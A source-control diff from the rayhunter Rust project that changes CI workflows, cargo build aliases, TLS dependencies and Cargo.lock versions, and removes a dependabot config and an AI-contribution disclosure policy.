lib/gsmtap_parser: downgrade unsupported log to debug msg

Previously this was an error message to help underscore when a device was sending unexpected messages, but now that we're receiving measurement logs which have no place in GSMTAP frames, it's expected to skip some log messages.
lib/diag: add ML1 Serving/Neighbor cell measurement
2026-05-30 07:29:27 -07:00 · 2026-02-13 13:55:35 -08:00 · 2026-02-13 13:55:35 -08:00 · 2026-02-13 13:55:35 -08:00
101 changed files with 5996 additions and 5092 deletions
--- a/.cargo/audit.toml
+++ b/.cargo/audit.toml
@@ -8,8 +8,4 @@ ignore = [
    # user-input. we could get rid of this warning by disabling the image
    # dependency in adb-client.
    "RUSTSEC-2024-0436",
-    # rustls-webpki 0.102.8 CRL Distribution Point flaw (via rustls-rustcrypto).
-    # Only affects dev builds, production firmware uses ring-tls.
-    # TODO: Remove once rustls-rustcrypto releases a version newer than 0.0.2-alpha.
-    "RUSTSEC-2026-0049",
 ]
--- a/.cargo/config.toml
+++ b/.cargo/config.toml
@@ -1,9 +1,7 @@
 [alias]
-# Build the daemon with "firmware" profile and post-quantum TLS backend.
-# Needs an arm-linux-musleabihf cross-compiler in PATH, e.g. a toolchain
-# from https://musl.cc, or run inside messense/rust-musl-cross:armv7-musleabihf
-# (which is what CI does, see .github/workflows/main.yml).
-build-daemon-firmware = "build -p rayhunter-daemon --bin rayhunter-daemon --target armv7-unknown-linux-musleabihf --profile firmware --no-default-features --features pq-tls"
+# Build the daemon with "firmware" profile and "ring" TLS backend.
+# Requires a cross-compiler (see github actions workflows) and is very slow to build.
+build-daemon-firmware = "build -p rayhunter-daemon --bin rayhunter-daemon --target armv7-unknown-linux-musleabihf --profile firmware --no-default-features --features ring-tls"
 # Build the daemon with "firmware-devel" profile and "rustcrypto" backend.
 # Works with just the Rust toolchain, and is medium-slow to build. Binaries are slightly larger.
 build-daemon-firmware-devel = "build -p rayhunter-daemon --bin rayhunter-daemon --target armv7-unknown-linux-musleabihf --profile firmware-devel"
--- a/.github/dependabot.yml
+++ b/.github/dependabot.yml
@@ -1,41 +0,0 @@
-version: 2
-updates:
-  # Rust dependencies
-  - package-ecosystem: "cargo"
-    directory: "/"
-    schedule:
-      interval: "weekly"
-    groups:
-      dependency-type:
-        patterns:
-          - "*"
-
-  # Python dependencies
-  - package-ecosystem: "pip"
-    directory: "/tools"
-    schedule:
-      interval: "weekly"
-    groups:
-      dependency-type:
-        patterns:
-          - "*"
-
-  # daemon/web Node.js dependencies
-  - package-ecosystem: "npm"
-    directory: "/daemon/web"
-    schedule:
-      interval: "weekly"
-    groups:
-      dependency-type:
-        patterns:
-          - "*"
-
-  # installer-gui Node.js dependencies
-  - package-ecosystem: "npm"
-    directory: "/installer-gui"
-    schedule:
-      interval: "weekly"
-    groups:
-      dependency-type:
-        patterns:
-          - "*"
--- a/.github/pull_request_template.md
+++ b/.github/pull_request_template.md
@@ -6,8 +6,3 @@
 - [ ] Code has been linted and run through `cargo fmt`.
 - [ ] If any new functionality has been added, unit tests were also added.
 - [ ] [CONTRIBUTING.md](https://github.com/EFForg/rayhunter/blob/main/CONTRIBUTING.md) has been read.
- [ ] Your pull request is fewer than ~400 lines of code.
-
-You must check one of:
- [ ] No generative AI (including LLMs) tools were used to create this PR.
- [ ] Generative AI was used to create this PR. I certify that I have read and understand the code, and *that all comments and descriptions were authored by myself* and are not the product of generative AI.
--- a/.github/workflows/main.yml
+++ b/.github/workflows/main.yml
@@ -11,9 +11,6 @@ env:
  CARGO_TERM_COLOR: always
  FILE_ROOTSHELL: ../../rootshell/rootshell
  FILE_RAYHUNTER_DAEMON: ../../rayhunter-daemon/rayhunter-daemon
-  FILE_WPA_SUPPLICANT: ../../wpa-supplicant/wpa_supplicant
-  FILE_WPA_CLI: ../../wpa-supplicant/wpa_cli
-  FILE_IW: ../../wpa-supplicant/iw
  RUSTFLAGS: "-Dwarnings"

 jobs:
@@ -27,7 +24,7 @@ jobs:
      daemon_changed: ${{ steps.files_changed.outputs.daemon_count != '0' }}
      daemon_needed: ${{ steps.files_changed.outputs.daemon_count != '0' || steps.files_changed.outputs.installer_build != '0' }}
      web_changed: ${{ steps.files_changed.outputs.web_count != '0' }}
-      docs_changed: ${{ steps.files_changed.outputs.docs_count != '0' || steps.files_changed.outputs.daemon_count != '0' }}
+      docs_changed: ${{ steps.files_changed.outputs.docs_count != '0' }}
      installer_changed: ${{ steps.files_changed.outputs.installer_count != '0' }}
      installer_gui_changed: ${{ steps.files_changed.outputs.installer_gui_count != '0' }}
      rootshell_needed: ${{ steps.files_changed.outputs.rootshell_count != '0' || steps.files_changed.outputs.installer_build != '0' }}
@@ -87,25 +84,25 @@ jobs:
      - uses: actions/checkout@v4
        with:
          persist-credentials: false
-      - uses: Swatinem/rust-cache@v2
      - name: Install mdBook
        run: |
          cargo install mdbook --no-default-features --features search --vers "^0.4" --locked
      - name: Test mdBook
        run: mdbook test

-  mdbook_build:
-    name: Build mdBook for Github Pages
+  mdbook_publish:
+    name: Publish mdBook to Github Pages
    needs: mdbook_test
    if: ${{ github.ref == 'refs/heads/main' }}
    permissions:
+      pages: write
      contents: write
+      id-token: write
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with:
          persist-credentials: false
-      - uses: Swatinem/rust-cache@v2
      - name: Install mdBook
        run: |
          cargo install mdbook --no-default-features --features search --vers "^0.4" --locked
@@ -113,11 +110,14 @@ jobs:
      - name: Build mdBook
        run: mdbook build

+      - name: Setup Pages
+        uses: actions/configure-pages@v4
      - name: Upload artifact
-        uses: actions/upload-artifact@v4
+        uses: actions/upload-pages-artifact@v3
        with:
-          name: book
          path: book
+      - name: Deploy to Github Pages
+        uses: actions/deploy-pages@v4

  check_and_test:
    needs: files_changed
@@ -304,30 +304,6 @@ jobs:
          path: target/armv7-unknown-linux-musleabihf/firmware/rootshell
          if-no-files-found: error

-  build_wpa_supplicant:
-    if: needs.files_changed.outputs.installer_changed == 'true'
-    needs:
-      - files_changed
-    runs-on: ubuntu-latest
-    permissions:
-      contents: read
-    steps:
-      - uses: actions/checkout@v4
-        with:
-          persist-credentials: false
-      - name: Install cross-compiler
-        run: sudo apt-get update && sudo apt-get install -y gcc-arm-linux-gnueabihf
-      - name: Build wpa_supplicant (armv7)
-        run: CC=arm-linux-gnueabihf-gcc STRIP=arm-linux-gnueabihf-strip HOST=arm-linux-gnueabihf scripts/build-wpa-supplicant.sh
-      - uses: actions/upload-artifact@v4
-        with:
-          name: wpa-supplicant
-          path: |
-            tools/build-wpa-supplicant/out/wpa_supplicant
-            tools/build-wpa-supplicant/out/wpa_cli
-            tools/build-wpa-supplicant/out/iw
-          if-no-files-found: error
-
  build_rayhunter:
    if: needs.files_changed.outputs.daemon_needed == 'true'
    needs:
@@ -341,25 +317,27 @@ jobs:
      - uses: actions/checkout@v4
        with:
          persist-credentials: false
-      - name: Build frontend
+      - uses: dtolnay/rust-toolchain@stable
+        with:
+          targets: armv7-unknown-linux-musleabihf
+      - uses: Swatinem/rust-cache@v2
+      - name: Install ARM cross-compilation toolchain
+        run: sudo apt-get update && sudo apt-get install -y gcc-arm-linux-gnueabihf
+      - name: Build rayhunter-daemon (armv7)
        run: |
          pushd daemon/web
          npm install
          npm run build
          popd
-      - name: Build rayhunter-daemon (armv7)
-        # Cross-compile inside messense/rust-musl-cross, which bundles an
-        # arm-linux-musleabihf cross gcc that aws-lc-sys needs.
-        run: |
-          mkdir -p "$HOME/.cargo-musl-cross"
-          docker run --rm \
-            --user "$(id -u):$(id -g)" \
-            -v "$PWD":/work \
-            -v "$HOME/.cargo-musl-cross":/cargo-home \
-            -e CARGO_HOME=/cargo-home \
-            -w /work \
-            messense/rust-musl-cross:armv7-musleabihf \
-            cargo build-daemon-firmware
+          # Run with -p so that cargo will select the minimum feature set for this package.
+          #
+          # Otherwise, it will consider the union of all requested features
+          # from all packages in the workspace. For example, if installer
+          # requires tokio with "full" feature, it will be included no matter
+          # what the feature selection in rayhunter-daemon is.
+          #
+          # https://github.com/rust-lang/cargo/issues/4463
+          CC_armv7_unknown_linux_musleabihf=arm-linux-gnueabihf-gcc cargo build-daemon-firmware
      - uses: actions/upload-artifact@v4
        with:
          name: rayhunter-daemon
@@ -374,7 +352,6 @@ jobs:
    needs:
      - build_rayhunter
      - build_rootshell
-      - build_wpa_supplicant
      - files_changed
      - windows_installer_check_and_test
    strategy:
@@ -606,57 +583,3 @@ jobs:
            rayhunter-v${{ env.VERSION }}-${{ matrix.platform }}.zip
            rayhunter-v${{ env.VERSION }}-${{ matrix.platform }}.zip.sha256
          if-no-files-found: error
-
-  openapi_build:
-    if: needs.files_changed.outputs.docs_changed == 'true'
-    needs:
-      - files_changed
-    permissions:
-      contents: write
-    runs-on: ubuntu-latest
-    steps:
-      - uses: actions/checkout@v4
-        with:
-          persist-credentials: false
-      - uses: dtolnay/rust-toolchain@stable
-        with:
-          targets: armv7-unknown-linux-musleabihf
-      - uses: Swatinem/rust-cache@v2
-      - name: Build rayhunter-daemon openapi docs
-        run: |
-          mkdir -p daemon/web/build
-          touch daemon/web/build/{favicon.png,index.html.gz,rayhunter_orca_only.png,rayhunter_text.png}
-          cargo run --bin gen_api --features apidocs -- ./rayhunter-openapi.json
-      - name: Make swagger folder
-        run: |
-          mkdir api-docs
-          mv doc/swagger-ui.html api-docs/index.html
-          mv rayhunter-openapi.json api-docs/
-      - uses: actions/upload-artifact@v4
-        with:
-          name: api-docs
-          path: api-docs
-
-  github_pages_publish:
-    name: Upload new documentation to Github Pages
-    if: ${{ github.ref == 'refs/heads/main' }}
-    permissions:
-      pages: write
-      contents: write
-      id-token: write
-    needs:
-      - mdbook_build
-      - openapi_build
-    runs-on: ubuntu-latest
-    steps:
-      - name: Setup Pages
-        uses: actions/configure-pages@v4
-      - uses: actions/download-artifact@v4
-      - name: Organize pages into directory
-        run: cp -a api-docs book/
-      - name: Upload pages
-        uses: actions/upload-pages-artifact@v3
-        with:
-          path: book
-      - name: Deploy Github Pages
-        uses: actions/deploy-pages@v4
--- a/.gitignore
+++ b/.gitignore
@@ -1,4 +1,3 @@
 /target
 /book
 .DS_Store
-/tools/build-wpa-supplicant
--- a/CONTRIBUTING.md
+++ b/CONTRIBUTING.md
@@ -58,18 +58,8 @@ Otherwise:
  manually test them. Our test coverage isn't great, but as new features are
  added we are trying to prevent it from becoming worse.

- Please keep your contributions to less than approximately 400 lines of code not counting tests, (going slightly over is fine, we aren't dogmatic about it.) This is because we are not able to give quality code review to contributions larger than that and risk introducing bugs into the system. [There was a study showing 400 LOC is the max most humans can handle.](https://smartbear.com/learn/code-review/best-practices-for-peer-code-review/)
-
 If you have any questions [feel free to open a discussion or chat with us on Mattermost.](https://efforg.github.io/rayhunter/support-feedback-community.html)

-### Policy regarding AI-generated contributions:
-
- Please refrain from submissions that you haven't thoroughly understood, reviewed, and tested.
- Please disclose if your contribution was AI-generated
- Descriptions and comments should be made by you
-
-You can read our [full policy](https://www.eff.org/about/opportunities/volunteer/coding-with-eff) and some writing on [our motivations](https://www.eff.org/deeplinks/2026/02/effs-policy-llm-assisted-contributions-our-open-source-projects).
-
 ## Making releases

 This one is for maintainers of Rayhunter.
--- a/Cargo.lock
+++ b/Cargo.lock
@@ -454,28 +454,6 @@ dependencies = [
 "arrayvec",
 ]

-[[package]]
-name = "aws-lc-rs"
-version = "1.16.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a054912289d18629dc78375ba2c3726a3afe3ff71b4edba9dedfca0e3446d1fc"
-dependencies = [
- "aws-lc-sys",
- "zeroize",
-]
-
-[[package]]
-name = "aws-lc-sys"
-version = "0.39.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "83a25cf98105baa966497416dbd42565ce3a8cf8dbfd59803ec9ad46f3126399"
-dependencies = [
- "cc",
- "cmake",
- "dunce",
- "fs_extra",
-]
-
 [[package]]
 name = "axum"
 version = "0.8.4"
@@ -807,11 +785,10 @@ dependencies = [

 [[package]]
 name = "cc"
-version = "1.2.59"
+version = "1.2.23"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b7a4d3ec6524d28a329fc53654bbadc9bdd7b0431f5d65f1a56ffb28a1ee5283"
+checksum = "5f4ac86a9e5bc1e2b3449ab9d7d3a6a405e3d1bb28d7b9be8614f55846ae3766"
 dependencies = [
- "find-msvc-tools",
 "jobserver",
 "libc",
 "shlex",
@@ -946,15 +923,6 @@ version = "0.7.4"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "f46ad14479a25103f283c0f10005961cf086d8dc42205bb44c46ac563475dca6"

-[[package]]
-name = "cmake"
-version = "0.1.54"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e7caa3f9de89ddbe2c607f4101924c5abec803763ae9534e4f4d7d8f84aa81f0"
-dependencies = [
- "cc",
-]
-
 [[package]]
 name = "color_quant"
 version = "1.1.0"
@@ -1763,12 +1731,6 @@ dependencies = [
 "rustc_version",
 ]

-[[package]]
-name = "find-msvc-tools"
-version = "0.1.9"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5baebc0774151f905a1a2cc41989300b1e6fbb29aff0ceffa1064fdd3088d582"
-
 [[package]]
 name = "flate2"
 version = "1.1.1"
@@ -1832,12 +1794,6 @@ dependencies = [
 "percent-encoding",
 ]

-[[package]]
-name = "fs_extra"
-version = "1.3.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "42703706b716c37f96a77aea830392ad231f44c9e9a67872fa5548707e11b11c"
-
 [[package]]
 name = "funty"
 version = "2.0.0"
@@ -2093,8 +2049,10 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "335ff9f135e4384c8150d6f27c6daed433577f86b4750418338c01a1a2528592"
 dependencies = [
 "cfg-if",
+ "js-sys",
 "libc",
 "wasi 0.11.0+wasi-snapshot-preview1",
+ "wasm-bindgen",
 ]

 [[package]]
@@ -2104,9 +2062,11 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "26145e563e54f2cadc477553f1ec5ee650b00862f0a58bcd12cbdc5f0ea2d2f4"
 dependencies = [
 "cfg-if",
+ "js-sys",
 "libc",
 "r-efi",
 "wasi 0.14.2+wasi-0.2.4",
+ "wasm-bindgen",
 ]

 [[package]]
@@ -2519,7 +2479,7 @@ dependencies = [
 "js-sys",
 "log",
 "wasm-bindgen",
- "windows-core 0.57.0",
+ "windows-core 0.61.2",
 ]

 [[package]]
@@ -2533,9 +2493,9 @@ dependencies = [

 [[package]]
 name = "ico"
-version = "0.5.0"
+version = "0.4.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3e795dff5605e0f04bff85ca41b51a96b83e80b281e96231bcaaf1ac35103371"
+checksum = "cc50b891e4acf8fe0e71ef88ec43ad82ee07b3810ad09de10f1d01f072ed4b98"
 dependencies = [
 "byteorder",
 "png",
@@ -2765,7 +2725,7 @@ dependencies = [

 [[package]]
 name = "installer"
-version = "0.10.2"
+version = "0.10.1"
 dependencies = [
 "adb_client",
 "aes",
@@ -2782,7 +2742,7 @@ dependencies = [
 "md5 0.7.0",
 "md5crypt",
 "nusb",
- "reqwest 0.12.20",
+ "reqwest",
 "serde",
 "sha2",
 "termios",
@@ -2793,7 +2753,7 @@ dependencies = [

 [[package]]
 name = "installer-gui"
-version = "0.10.2"
+version = "0.10.1"
 dependencies = [
 "anyhow",
 "installer",
@@ -2980,12 +2940,10 @@ checksum = "f5d4a7da358eff58addd2877a45865158f0d78c911d43a5784ceb7bbf52833b0"

 [[package]]
 name = "js-sys"
-version = "0.3.95"
+version = "0.3.77"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "2964e92d1d9dc3364cae4d718d93f227e3abb088e747d92e0395bfdedf1c12ca"
+checksum = "1cfaf33c695fc6e08064efbc1f72ec937429614f25eef83af942d0e227c3a28f"
 dependencies = [
- "cfg-if",
- "futures-util",
 "once_cell",
 "wasm-bindgen",
 ]
@@ -3170,6 +3128,12 @@ dependencies = [
 "imgref",
 ]

+[[package]]
+name = "lru-slab"
+version = "0.1.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "112b39cec0b298b6c1999fee3e31427f74f676e4cb9879ed1a121b43661a4154"
+
 [[package]]
 name = "mac"
 version = "0.1.1"
@@ -3598,8 +3562,38 @@ checksum = "d49e936b501e5c5bf01fda3a9452ff86dc3ea98ad5f283e1455153142d97518c"
 dependencies = [
 "bitflags 2.9.1",
 "block2 0.6.2",
+ "libc",
 "objc2 0.6.3",
+ "objc2-cloud-kit",
+ "objc2-core-data",
 "objc2-core-foundation",
+ "objc2-core-graphics",
+ "objc2-core-image",
+ "objc2-core-text",
+ "objc2-core-video",
+ "objc2-foundation 0.3.2",
+ "objc2-quartz-core 0.3.2",
+]
+
+[[package]]
+name = "objc2-cloud-kit"
+version = "0.3.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "73ad74d880bb43877038da939b7427bba67e9dd42004a18b809ba7d87cee241c"
+dependencies = [
+ "bitflags 2.9.1",
+ "objc2 0.6.3",
+ "objc2-foundation 0.3.2",
+]
+
+[[package]]
+name = "objc2-core-data"
+version = "0.3.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "0b402a653efbb5e82ce4df10683b6b28027616a2715e90009947d50b8dd298fa"
+dependencies = [
+ "bitflags 2.9.1",
+ "objc2 0.6.3",
 "objc2-foundation 0.3.2",
 ]

@@ -3621,7 +3615,45 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "e022c9d066895efa1345f8e33e584b9f958da2fd4cd116792e15e07e4720a807"
 dependencies = [
 "bitflags 2.9.1",
+ "dispatch2",
+ "objc2 0.6.3",
 "objc2-core-foundation",
+ "objc2-io-surface",
+]
+
+[[package]]
+name = "objc2-core-image"
+version = "0.3.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "e5d563b38d2b97209f8e861173de434bd0214cf020e3423a52624cd1d989f006"
+dependencies = [
+ "objc2 0.6.3",
+ "objc2-foundation 0.3.2",
+]
+
+[[package]]
+name = "objc2-core-text"
+version = "0.3.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "0cde0dfb48d25d2b4862161a4d5fcc0e3c24367869ad306b0c9ec0073bfed92d"
+dependencies = [
+ "bitflags 2.9.1",
+ "objc2 0.6.3",
+ "objc2-core-foundation",
+ "objc2-core-graphics",
+]
+
+[[package]]
+name = "objc2-core-video"
+version = "0.3.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "d425caf1df73233f29fd8a5c3e5edbc30d2d4307870f802d18f00d83dc5141a6"
+dependencies = [
+ "bitflags 2.9.1",
+ "objc2 0.6.3",
+ "objc2-core-foundation",
+ "objc2-core-graphics",
+ "objc2-io-surface",
 ]

 [[package]]
@@ -3659,6 +3691,28 @@ checksum = "e3e0adef53c21f888deb4fa59fc59f7eb17404926ee8a6f59f5df0fd7f9f3272"
 dependencies = [
 "bitflags 2.9.1",
 "block2 0.6.2",
+ "libc",
+ "objc2 0.6.3",
+ "objc2-core-foundation",
+]
+
+[[package]]
+name = "objc2-io-surface"
+version = "0.3.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "180788110936d59bab6bd83b6060ffdfffb3b922ba1396b312ae795e1de9d81d"
+dependencies = [
+ "bitflags 2.9.1",
+ "objc2 0.6.3",
+ "objc2-core-foundation",
+]
+
+[[package]]
+name = "objc2-javascript-core"
+version = "0.3.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "2a1e6550c4caed348956ce3370c9ffeca70bb1dbed4fa96112e7c6170e074586"
+dependencies = [
 "objc2 0.6.3",
 "objc2-core-foundation",
 ]
@@ -3688,6 +3742,28 @@ dependencies = [
 "objc2-metal",
 ]

+[[package]]
+name = "objc2-quartz-core"
+version = "0.3.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "96c1358452b371bf9f104e21ec536d37a650eb10f7ee379fff67d2e08d537f1f"
+dependencies = [
+ "bitflags 2.9.1",
+ "objc2 0.6.3",
+ "objc2-foundation 0.3.2",
+]
+
+[[package]]
+name = "objc2-security"
+version = "0.3.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "709fe137109bd1e8b5a99390f77a7d8b2961dafc1a1c5db8f2e60329ad6d895a"
+dependencies = [
+ "bitflags 2.9.1",
+ "objc2 0.6.3",
+ "objc2-core-foundation",
+]
+
 [[package]]
 name = "objc2-ui-kit"
 version = "0.3.2"
@@ -3712,6 +3788,8 @@ dependencies = [
 "objc2-app-kit",
 "objc2-core-foundation",
 "objc2-foundation 0.3.2",
+ "objc2-javascript-core",
+ "objc2-security",
 ]

 [[package]]
@@ -4350,6 +4428,61 @@ dependencies = [
 "memchr",
 ]

+[[package]]
+name = "quinn"
+version = "0.11.8"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "626214629cda6781b6dc1d316ba307189c85ba657213ce642d9c77670f8202c8"
+dependencies = [
+ "bytes",
+ "cfg_aliases",
+ "pin-project-lite",
+ "quinn-proto",
+ "quinn-udp",
+ "rustc-hash",
+ "rustls",
+ "socket2",
+ "thiserror 2.0.12",
+ "tokio",
+ "tracing",
+ "web-time",
+]
+
+[[package]]
+name = "quinn-proto"
+version = "0.11.12"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "49df843a9161c85bb8aae55f101bc0bac8bcafd637a620d9122fd7e0b2f7422e"
+dependencies = [
+ "bytes",
+ "getrandom 0.3.3",
+ "lru-slab",
+ "rand 0.9.1",
+ "ring",
+ "rustc-hash",
+ "rustls",
+ "rustls-pki-types",
+ "slab",
+ "thiserror 2.0.12",
+ "tinyvec",
+ "tracing",
+ "web-time",
+]
+
+[[package]]
+name = "quinn-udp"
+version = "0.5.13"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "fcebb1209ee276352ef14ff8732e24cc2b02bbac986cd74a4c81bcb2f9881970"
+dependencies = [
+ "cfg_aliases",
+ "libc",
+ "once_cell",
+ "socket2",
+ "tracing",
+ "windows-sys 0.59.0",
+]
+
 [[package]]
 name = "quote"
 version = "1.0.40"
@@ -4539,7 +4672,7 @@ checksum = "20675572f6f24e9e76ef639bc5552774ed45f1c30e2951e1e99c59888861c539"

 [[package]]
 name = "rayhunter"
-version = "0.10.2"
+version = "0.10.1"
 dependencies = [
 "bytes",
 "chrono",
@@ -4556,15 +4689,13 @@ dependencies = [
 "serde",
 "serde_json",
 "telcom-parser",
- "tempfile",
 "thiserror 1.0.69",
 "tokio",
- "utoipa",
 ]

 [[package]]
 name = "rayhunter-check"
-version = "0.10.2"
+version = "0.10.1"
 dependencies = [
 "clap",
 "futures",
@@ -4577,7 +4708,7 @@ dependencies = [

 [[package]]
 name = "rayhunter-daemon"
-version = "0.10.2"
+version = "0.10.1"
 dependencies = [
 "anyhow",
 "async-trait",
@@ -4591,8 +4722,7 @@ dependencies = [
 "libc",
 "log",
 "rayhunter",
- "reqwest 0.12.20",
- "rustls-post-quantum",
+ "reqwest",
 "rustls-rustcrypto",
 "serde",
 "serde_json",
@@ -4602,9 +4732,6 @@ dependencies = [
 "tokio-stream",
 "tokio-util",
 "toml 0.8.22",
- "url",
- "utoipa",
- "wifi-station",
 ]

 [[package]]
@@ -4705,6 +4832,7 @@ dependencies = [
 "base64 0.22.1",
 "bytes",
 "futures-core",
+ "futures-util",
 "http",
 "http-body",
 "http-body-util",
@@ -4715,6 +4843,7 @@ dependencies = [
 "log",
 "percent-encoding",
 "pin-project-lite",
+ "quinn",
 "rustls",
 "rustls-pki-types",
 "serde",
@@ -4723,39 +4852,6 @@ dependencies = [
 "sync_wrapper",
 "tokio",
 "tokio-rustls",
- "tower",
- "tower-http",
- "tower-service",
- "url",
- "wasm-bindgen",
- "wasm-bindgen-futures",
- "web-sys",
- "webpki-roots",
-]
-
-[[package]]
-name = "reqwest"
-version = "0.13.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ab3f43e3283ab1488b624b44b0e988d0acea0b3214e694730a055cb6b2efa801"
-dependencies = [
- "base64 0.22.1",
- "bytes",
- "futures-core",
- "futures-util",
- "http",
- "http-body",
- "http-body-util",
- "hyper",
- "hyper-util",
- "js-sys",
- "log",
- "percent-encoding",
- "pin-project-lite",
- "serde",
- "serde_json",
- "sync_wrapper",
- "tokio",
 "tokio-util",
 "tower",
 "tower-http",
@@ -4765,6 +4861,7 @@ dependencies = [
 "wasm-bindgen-futures",
 "wasm-streams",
 "web-sys",
+ "webpki-roots",
 ]

 [[package]]
@@ -4799,7 +4896,7 @@ dependencies = [

 [[package]]
 name = "rootshell"
-version = "0.10.2"
+version = "0.10.1"
 dependencies = [
 "nix 0.29.0",
 ]
@@ -4841,6 +4938,12 @@ version = "0.1.24"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "719b953e2095829ee67db738b3bfa9fa368c94900df327b3f07fe6e794d2fe1f"

+[[package]]
+name = "rustc-hash"
+version = "2.1.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "357703d41365b4b27c590e3ed91eabb1b663f07c4c084095e60cbed4362dff0d"
+
 [[package]]
 name = "rustc_version"
 version = "0.4.1"
@@ -4878,15 +4981,14 @@ dependencies = [

 [[package]]
 name = "rustls"
-version = "0.23.37"
+version = "0.23.28"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "758025cb5fccfd3bc2fd74708fd4682be41d99e5dff73c377c0646c6012c73a4"
+checksum = "7160e3e10bf4535308537f3c4e1641468cd0e485175d6163087c0393c7d46643"
 dependencies = [
- "aws-lc-rs",
- "log",
 "once_cell",
+ "ring",
 "rustls-pki-types",
- "rustls-webpki 0.103.10",
+ "rustls-webpki 0.103.3",
 "subtle",
 "zeroize",
 ]
@@ -4897,20 +4999,10 @@ version = "1.12.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "229a4a4c221013e7e1f1a043678c5cc39fe5171437c88fb47151a21e6f5b5c79"
 dependencies = [
+ "web-time",
 "zeroize",
 ]

-[[package]]
-name = "rustls-post-quantum"
-version = "0.2.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0da3cd9229bac4fae1f589c8f875b3c891a058ddaa26eb3bde16b5e43dc174ce"
-dependencies = [
- "aws-lc-rs",
- "rustls",
- "rustls-webpki 0.103.10",
-]
-
 [[package]]
 name = "rustls-rustcrypto"
 version = "0.0.2-alpha"
@@ -4954,11 +5046,10 @@ dependencies = [

 [[package]]
 name = "rustls-webpki"
-version = "0.103.10"
+version = "0.103.3"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "df33b2b81ac578cabaf06b89b0631153a3f416b0a886e8a7a1707fb51abbd1ef"
+checksum = "e4a72fe2bcf7a6ac6fd7d0b9e5cb68aeb7d4c0a0271730218b3e92d43b4eb435"
 dependencies = [
- "aws-lc-rs",
 "ring",
 "rustls-pki-types",
 "untrusted",
@@ -5375,7 +5466,7 @@ dependencies = [
 "log",
 "objc2 0.5.2",
 "objc2-foundation 0.2.2",
- "objc2-quartz-core",
+ "objc2-quartz-core 0.2.2",
 "raw-window-handle",
 "redox_syscall",
 "wasm-bindgen",
@@ -5608,9 +5699,9 @@ checksum = "61c41af27dd6d1e27b1b16b489db798443478cef1f06a660c96db617ba5de3b1"

 [[package]]
 name = "tauri"
-version = "2.10.3"
+version = "2.9.2"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "da77cc00fb9028caf5b5d4650f75e31f1ef3693459dfca7f7e506d1ecef0ba2d"
+checksum = "8bceb52453e507c505b330afe3398510e87f428ea42b6e76ecb6bd63b15965b5"
 dependencies = [
 "anyhow",
 "bytes",
@@ -5636,7 +5727,7 @@ dependencies = [
 "percent-encoding",
 "plist",
 "raw-window-handle",
- "reqwest 0.13.2",
+ "reqwest",
 "serde",
 "serde_json",
 "serde_repr",
@@ -5659,9 +5750,9 @@ dependencies = [

 [[package]]
 name = "tauri-build"
-version = "2.5.6"
+version = "2.5.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4bbc990d1dbf57a8e1c7fa2327f2a614d8b757805603c1b9ba5c81bade09fd4d"
+checksum = "a924b6c50fe83193f0f8b14072afa7c25b7a72752a2a73d9549b463f5fe91a38"
 dependencies = [
 "anyhow",
 "cargo_toml",
@@ -5681,9 +5772,9 @@ dependencies = [

 [[package]]
 name = "tauri-codegen"
-version = "2.5.5"
+version = "2.5.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d4a24476afd977c5d5d169f72425868613d82747916dd29e0a357c84c4bd6d29"
+checksum = "6c1fe64c74cc40f90848281a90058a6db931eb400b60205840e09801ee30f190"
 dependencies = [
 "base64 0.22.1",
 "brotli",
@@ -5708,9 +5799,9 @@ dependencies = [

 [[package]]
 name = "tauri-macros"
-version = "2.5.5"
+version = "2.5.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d39b349a98dadaffebb73f0a40dcd1f23c999211e5a2e744403db384d0c33de7"
+checksum = "260c5d2eb036b76206b9fca20b7be3614cfd21046c5396f7959e0e64a4b07f2f"
 dependencies = [
 "heck 0.5.0",
 "proc-macro2",
@@ -5761,9 +5852,9 @@ dependencies = [

 [[package]]
 name = "tauri-runtime"
-version = "2.10.1"
+version = "2.9.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "2826d79a3297ed08cd6ea7f412644ef58e32969504bc4fbd8d7dbeabc4445ea2"
+checksum = "9368f09358496f2229313fccb37682ad116b7f46fa76981efe116994a0628926"
 dependencies = [
 "cookie",
 "dpi",
@@ -5786,9 +5877,9 @@ dependencies = [

 [[package]]
 name = "tauri-runtime-wry"
